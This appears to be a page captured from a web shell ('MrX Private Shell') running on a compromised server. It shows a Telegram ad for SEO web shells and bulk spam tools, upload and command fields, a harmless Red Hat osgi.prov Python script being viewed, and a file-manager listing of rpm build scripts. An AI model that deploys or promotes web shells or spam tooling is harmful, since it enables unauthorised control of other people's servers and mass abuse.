__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

kentishfootball@216.73.216.211: ~ $
#!/usr/bin/python
# Copyright (c) 2011, Red Hat, Inc
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# 1. Redistributions of source code must retain the above copyright
#    notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
#    notice, this list of conditions and the following disclaimer in the
#    documentation and/or other materials provided with the
#    distribution.
# 3. Neither the name of Red Hat nor the names of its
#    contributors may be used to endorse or promote products derived
#    from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
# Authors: Alexander Kurtakov <akurtako@redhat.com>

import sys
import os.path
import zipfile
from zipfile import ZipFile

class OsgiProvideInfo:

    symbolicName = None
    version = None

    def setSymbolicName(self, content):
        self.symbolicName = content.split(";")[0].strip()

    def setVersion(self, content):
        versions = content.split('.')[0:3]
        self.version = ".".join(versions)

    def printProvide(self):
        if self.version and self.symbolicName:
            print "osgi(%s) = %s" %(self.symbolicName, self.version)

class TagBuilder:

    def __init__ (self, filelist=None):
        if filelist == None:
            filelist = sys.stdin
        paths = map (lambda x: x.rstrip (), filelist.readlines ())
        for path in paths:
	        self.get_osgi_provide (path)

    def normalize_manifest(self, manifest):
        lines = []
        for line in manifest.readlines():
            if line.startswith(' '):
                lines[-1] += line.strip()
            else:
                lines.append(line.strip())
        return lines

    def handle_manifest(self, manifest):
        provideInfo = OsgiProvideInfo()
        for line in self.normalize_manifest(manifest):
            if line.startswith("Bundle-SymbolicName:"):
                provideInfo.setSymbolicName(line.split(':')[1].strip())
            if line.startswith("Bundle-Version:"):
                provideInfo.setVersion(line.split(':')[1].strip())

        provideInfo.printProvide()

    def get_osgi_provide (self, path):
        if not os.path.islink(path):
            if path.endswith("META-INF/MANIFEST.MF"):
                manifest = open(path)
                self.handle_manifest(manifest)
            if zipfile.is_zipfile(path):
                jarfile = ZipFile(path)
                if "META-INF/MANIFEST.MF" in jarfile.namelist():
                    manifest = jarfile.open("META-INF/MANIFEST.MF")
                    self.handle_manifest(manifest)


if __name__ == "__main__":
    builder = TagBuilder ()

Filemanager

Name Type Size Permission Actions
fileattrs Folder 0755
macros.d Folder 0755
platform Folder 0755
redhat Folder 0755
appdata.prov File 333 B 0755
brp-compress File 1.41 KB 0755
brp-java-gcjcompile File 1.38 KB 0755
brp-python-bytecompile File 2.96 KB 0755
brp-python-hardlink File 658 B 0755
brp-strip File 509 B 0755
brp-strip-comment-note File 741 B 0755
brp-strip-shared File 706 B 0755
brp-strip-static-archive File 411 B 0755
check-buildroot File 1.21 KB 0755
check-files File 1.02 KB 0755
check-prereqs File 418 B 0755
check-rpaths File 1.01 KB 0755
check-rpaths-worker File 4.93 KB 0755
config.guess File 44.24 KB 0755
config.sub File 34.62 KB 0755
debugedit File 33.01 KB 0755
desktop-file.prov File 602 B 0755
elfdeps File 15.31 KB 0755
find-debuginfo.sh File 14.42 KB 0755
find-lang.sh File 5.77 KB 0755
find-provides File 1.52 KB 0755
find-requires File 3.43 KB 0755
fontconfig.prov File 489 B 0755
javadoc.req File 76 B 0755
kabi.sh File 428 B 0755
libtooldeps.sh File 718 B 0755
macros File 37.33 KB 0644
macros.perl File 473 B 0644
macros.php File 192 B 0644
macros.python File 906 B 0644
maven.prov File 3.67 KB 0755
maven.req File 7.75 KB 0755
mkinstalldirs File 3.41 KB 0755
mono-find-provides File 1.08 KB 0755
mono-find-requires File 1.87 KB 0755
ocaml-find-provides.sh File 1.62 KB 0755
ocaml-find-requires.sh File 2.08 KB 0755
osgi.prov File 3.51 KB 0755
osgi.req File 3.79 KB 0755
osgideps.pl File 10.33 KB 0755
perl.prov File 5.72 KB 0755
perl.req File 11.48 KB 0755
perldeps.pl File 32.13 KB 0644
pkgconfigdeps.sh File 1.25 KB 0755
pythondeps.sh File 875 B 0755
rpm.daily File 296 B 0644
rpm.log File 61 B 0644
rpm.supp File 688 B 0644
rpm2cpio.sh File 1.3 KB 0755
File 0 B 0
File 0 B 0
rpmdb_loadcvt File 1.43 KB 0755
File 0 B 0
File 0 B 0
File 0 B 0
File 0 B 0
rpmdeps File 11.52 KB 0755
rpmpopt-4.11.3 File 9.51 KB 0644
rpmrc File 15.01 KB 0644
script.req File 322 B 0755
sepdebugcrcfix File 15.24 KB 0755
tcl.req File 2.02 KB 0755
tgpg File 929 B 0755
Filemanager